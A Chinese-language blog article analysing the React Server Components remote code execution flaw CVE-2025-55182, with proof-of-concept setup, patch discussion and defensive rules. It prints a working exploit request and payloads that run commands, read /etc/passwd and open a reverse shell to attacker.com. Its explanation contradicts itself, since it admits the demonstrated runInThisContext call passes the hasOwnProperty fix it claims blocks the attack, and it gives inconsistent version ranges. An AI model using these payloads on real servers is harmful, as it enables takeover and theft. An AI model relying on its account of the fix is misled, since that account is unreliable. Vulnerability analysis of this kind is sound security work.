前言
2025 年 12 月,React 官方披露了一个影响 React Server Components 的高危漏洞(CVE-2025-55182),该漏洞允许攻击者在无需任何认证的情况下,通过构造特殊请求实现远程代码执行。本文将从技术原理、复现过程、修复方案等多个维度,为开发者详细拆解这个漏洞的来龙去脉。
一、漏洞概述
1.1 基本信息
CVE 编号:CVE-2025-55182
漏洞类型:原型链污染 + 远程代码执行
危险等级:高危(CVSS 9.8/10)
影响版本:React 19.0.0 ~ 19.2.0
修复版本:React 19.2.1+
1.2 漏洞成因
React Server Components 在处理 Server Action 请求时,服务端会对客户端提交的表单数据进行反序列化。在 19.2.0 及之前的版本中,requireModule 函数在加载模块导出时,没有使用 hasOwnProperty 检查属性是否为对象自有属性,导致攻击者可以通过原型链访问到 Node.js 内置模块(如 vm、child_process、fs)的危险方法。
一旦攻击者构造包含 vm#runInThisContext 的恶意 payload,就能在服务器上执行任意 JavaScript 代码,进而控制整个服务器。
1.3 影响范围
受影响的 npm 包:
react-server-dom-webpack < 19.2.0
react-server-dom-turbopack < 19.2.0
react-server-dom-parcel < 19.2.0
利用条件:
- 应用使用了 React Server Components
- 项目依赖中包含 Node.js 常见模块(
vm、child_process、fs 等)
二、环境搭建与漏洞复现
2.1 搭建测试环境
开源社区已经提供了完整的 POC 环境,开发者可以通过以下步骤快速搭建:
# 1. 克隆 POC 仓库
git clone https://github.com/ejpir/CVE-2025-55182-poc/
cd CVE-2025-55182-poc
# 2. 安装依赖
npm install
# 3. 启动服务
npm start
启动成功后,浏览器访问 http://127.0.0.1:3002,即可看到测试页面。
测试环境启动成功
2.2 构造攻击 Payload
使用 Burp Suite 或 curl 发送以下 HTTP 请求:
POST /formaction HTTP/1.1
Host: localhost:3002
Content-Type: multipart/form-data; boundary=----Boundary
Content-Length: 297
------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"
------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"vm#runInThisContext","bound":["global.process.mainModule.require(\"child_process\").execSync(\"whoami\").toString()"]}
------Boundary--
Payload 解析:
$ACTION_REF_0:声明一个 Action 引用
$ACTION_0:0:提供 Action 的元数据,其中 id 字段指定要调用的模块和方法(vm#runInThisContext),bound 字段包含要执行的恶意代码
2.3 攻击效果
发送请求后,服务器会返回当前用户名(Windows 下为 DESKTOP-XXX\User,Linux 下为 root 或其他用户名),证明代码执行成功。
漏洞复现成功
更多攻击示例:
// 列出目录内容
{"id":"vm#runInThisContext","bound":["global.process.mainModule.require(\"child_process\").execSync(\"dir\").toString()"]}
// 读取敏感文件
{"id":"vm#runInThisContext","bound":["global.process.mainModule.require(\"fs\").readFileSync(\"/etc/passwd\",\"utf8\")"]}
// 反弹 Shell
{"id":"vm#runInThisContext","bound":["global.process.mainModule.require(\"child_process\").exec(\"bash -i >& /dev/tcp/attacker.com/4444 0>&1\")"]}
三、技术原理深度剖析
3.1 React Server Actions 机制
React Server Components 通过两类字段实现服务端函数调用:
*类型一:`$ACTIONREF` - 绑定 Action 实例**
用于调用一个已创建并携带闭包参数的 Server Action(例如通过 action.bind(null, arg1, arg2) 生成)。
客户端表单行为:
$ACTION_REF_0 = "1"
$ACTION_0:0 = {"id":"someModule#someFunction", "bound":[arg1, arg2]}
服务端解析逻辑:
const prefix = "$ACTION_" + key.slice(12) + ":";
const boundArgs = collectAllFieldsStartingWith(prefix);
const action = decodeBoundActionMetaData(body, serverManifest, boundArgs);
最终构造出一个对象:
{ id: "someModule#someFunction", bound: [arg1, arg2] }
*类型二:`$ACTIONID` - 直接模块/函数调用**
用于调用某个模块中显式导出的 Server Action 函数。
典型场景:
<form action={updatePassword}>
<input name="password" />
</form>
编译后生成:
$ACTION_ID_UserActions.updatePassword = ""
服务端会提取字段名,拆分为 moduleName = "UserActions"、exportName = "updatePassword",然后调用:
loadServerReference(serverManifest, "UserActions", "updatePassword");
// 最终执行
requireModule("UserActions")["updatePassword"]
3.2 漏洞触发链路

攻击流程:
-
攻击者构造恶意请求:
$ACTION_REF_0 = "1"
$ACTION_0:0 = {"id":"vm#runInThisContext","bound":["恶意代码"]}
-
服务端解析:
decodeAction 解析出:
{ id: "vm#runInThisContext", bound: [payload] }
-
加载模块引用:
loadServerReference(serverManifest, "vm", "runInThisContext")
-
进入 requireModule 函数:
const moduleExports = require("vm");
// ❌ 漏洞点:没有 hasOwnProperty 检查
return moduleExports["runInThisContext"];
-
执行恶意代码:
// actionFn 现在是 vm.runInThisContext
const result = actionFn();
3.3 核心漏洞代码分析
在 POC 项目的 server.js 中,可以看到漏洞触发的关键代码:
if (req.method === 'POST' && req.url === '/formaction') {
const chunks = [];
req.on('data', chunk => chunks.push(chunk));
req.on('end', async () => {
try {
const buffer = Buffer.concat(chunks);
const contentType = req.headers['content-type'] || '';
const boundaryMatch = contentType.match(/boundary=(.+)/);
if (!boundaryMatch) throw new Error('No boundary');
// 解析 multipart/form-data
const formData = parseMultipart(buffer, boundaryMatch[1]);
console.log('FormData:');
formData.forEach((v, k) => console.log(` ${k}: ${v}`));
// ⚠️ 漏洞触发点
// decodeAction → loadServerReference → requireModule
// requireModule 执行: moduleExports[metadata[2]]
// ❌ 没有 hasOwnProperty 检查!
const actionFn = await decodeAction(formData, serverManifest);
console.log('Action result:', actionFn, typeof actionFn);
// 执行函数(RCE 触发)
if (typeof actionFn === 'function') {
const result = actionFn();
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({ success: true, result: String(result) }));
}
} catch (e) {
console.error('Error:', e.message, e.stack);
res.writeHead(500, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({ error: e.message }));
}
});
return;
}
关键问题:
在 requireModule 函数中,直接使用 moduleExports[exportName] 访问属性,没有检查该属性是否为对象自有属性,导致可以访问原型链上的方法:
// 漏洞版本
function requireModule(metadata) {
const moduleExports = require(metadata[0]);
const exportName = metadata[2];
// ❌ 直接访问,可访问原型链
return moduleExports[exportName];
}
漏洞代码截图
3.4 为什么能访问 vm.runInThisContext?
Node.js 内置模块 vm 导出的对象包含多个方法:
const vm = require('vm');
console.log(vm);
// {
// runInThisContext: [Function: runInThisContext],
// runInNewContext: [Function: runInNewContext],
// ...
// }
// 直接访问属性(漏洞代码)
console.log(vm['runInThisContext']); // [Function: runInThisContext]
// hasOwnProperty 检查(修复后)
console.log(vm.hasOwnProperty('runInThisContext')); // true
由于 runInThisContext 是 vm 对象的自有属性,攻击者可以通过构造 id: "vm#runInThisContext" 来获取这个函数,并在 bound 中传入恶意代码。
四、官方修复方案
4.1 修复对比
修复前(React 19.2.0):
function requireModule(metadata) {
const moduleExports = require(metadata[0]);
const exportName = metadata[2];
// ❌ 直接访问,可访问原型链
return moduleExports[exportName];
}
修复后(React 19.2.1):
function requireModule(metadata) {
const moduleExports = require(metadata[0]);
const exportName = metadata[2];
// ✅ 添加 hasOwnProperty 检查
if (!moduleExports.hasOwnProperty(exportName)) {
throw new Error(
`Export "${exportName}" not found in module "${metadata[0]}"`
);
}
return moduleExports[exportName];
}
修复代码截图
4.2 修复原理
通过 hasOwnProperty 检查,确保只能访问对象自身的属性,而不是原型链上的属性:
const vm = require('vm');
// 自有属性
vm.hasOwnProperty('runInThisContext'); // true ✅
// 原型链属性
vm.hasOwnProperty('toString'); // false ❌
vm.hasOwnProperty('constructor'); // false ❌
这样,即使攻击者构造 id: "vm#runInThisContext",服务端也会因为 hasOwnProperty 检查通过而正常执行;但如果构造 id: "vm#constructor" 或其他原型链属性,就会抛出异常,阻止攻击。
五、安全防护建议
5.1 立即升级
最重要的防护措施就是升级到 React 19.2.1 或更高版本。
# 检查当前版本
npm list react
# 升级 React
npm install react@latest react-dom@latest
# 如果使用了 Server Components 相关包,也需要升级
npm install react-server-dom-webpack@latest
5.2 输入验证与白名单机制
即使升级了版本,也建议在代码中增加额外的安全校验:
function validateAction(actionId) {
// 白名单验证
const allowedActions = [
'UserActions#updateProfile',
'AuthActions#login',
'PostActions#create'
];
if (!allowedActions.includes(actionId)) {
throw new Error('Invalid action');
}
}
// 在 decodeAction 中调用
const actionFn = await decodeAction(formData, serverManifest);
validateAction(metadata.id);
5.3 最小权限原则
- 使用非 root 用户运行 Node.js 进程
- 使用 Docker 容器隔离应用
- 限制进程的文件系统访问权限
# Dockerfile 示例
FROM node:20-alpine
USER node
WORKDIR /app
COPY --chown=node:node . .
RUN npm install
CMD ["node", "server.js"]
5.4 WAF 规则
在 Nginx 或其他 Web 应用防火墙中添加规则,检测可疑 payload:
# Nginx WAF 规则
location /formaction {
# 检测可疑 payload
if ($request_body ~* "vm#runInThisContext") {
return 403;
}
if ($request_body ~* "child_process") {
return 403;
}
proxy_pass http://backend;
}
5.5 监控与告警
在日志系统中添加监控规则,及时发现异常行为:
function logSuspiciousActivity(actionId) {
if (actionId.includes('vm#') ||
actionId.includes('child_process#') ||
actionId.includes('fs#')) {
console.error('🚨 Suspicious action detected:', actionId);
// 发送告警到安全团队
alertSecurityTeam(actionId);
}
}
六、技术要点总结
6.1 原型链污染攻击
JavaScript 中,对象可以通过原型链访问其原型对象的属性:
const obj = {};
// 自有属性
obj.name = "test";
obj.hasOwnProperty('name'); // true
// 原型链属性
obj.hasOwnProperty('toString'); // false
obj.toString(); // 但可以访问!
攻击者利用这一特性,通过构造特殊的属性名(如 constructor、__proto__),可以访问或修改原型链上的属性,从而影响所有对象的行为。
6.2 Node.js 模块系统
require 函数返回的是模块的导出对象:
// vm 模块
const vm = require('vm');
// vm 对象包含多个方法
Object.keys(vm);
// ['runInThisContext', 'runInNewContext', 'createContext', ...]
如果直接使用 vm[exportName] 访问属性,就可能访问到原型链上的危险方法。
HTTP 表单提交时,如果 Content-Type 为 multipart/form-data,数据会按照以下格式组织:
------Boundary
Content-Disposition: form-data; name="field1"
value1
------Boundary
Content-Disposition: form-data; name="field2"
value2
------Boundary--
服务端需要解析 boundary,然后按照分隔符拆分数据。
6.4 Server Actions 序列化
React Server Components 会将客户端的 Action 调用序列化为特定格式:
// 客户端
const boundAction = action.bind(null, arg1, arg2);
// 序列化为
{
id: "module#function",
bound: [arg1, arg2]
}
服务端收到后,会根据 id 加载对应的模块和函数,然后将 bound 中的参数传递给函数。
七、延伸阅读
如果你对 Web 安全、前端工程化、后端架构等领域感兴趣,可以访问云栈社区( https://yunpan.plus )获取更多学习资源。社区提供了丰富的技术文档和实战案例,涵盖前端框架、后端开发、安全防御等多个方向,帮助开发者系统性提升技术能力。
八、总结
CVE-2025-55182 是一个典型的原型链污染导致的远程代码执行漏洞,其核心问题在于:
- ❌ 缺少属性验证:未使用
hasOwnProperty 检查
- ❌ 信任用户输入:直接使用用户提供的模块名和导出名
- ❌ 危险的模块访问:可以访问 Node.js 内置模块的任意方法
关键教训:
- ✅ 永远不要信任用户输入
- ✅ 使用
hasOwnProperty 检查对象属性
- ✅ 实施白名单机制
- ✅ 及时更新依赖版本
- ✅ 实施纵深防御策略
影响评估:
| 维度 |
评分 |
| 严重程度 |
🔴 高危 (9.8/10) |
| 利用难度 |
🟢 简单 |
| 影响范围 |
🔴 广泛 |
| 修复难度 |
🟢 简单(升级版本) |
希望本文能帮助开发者深入理解这个漏洞的原理和防护方法,在日常开发中更加重视安全问题。如果你的项目正在使用 React 19.0.0 ~ 19.2.0,请立即升级到 19.2.1 或更高版本!
参考资料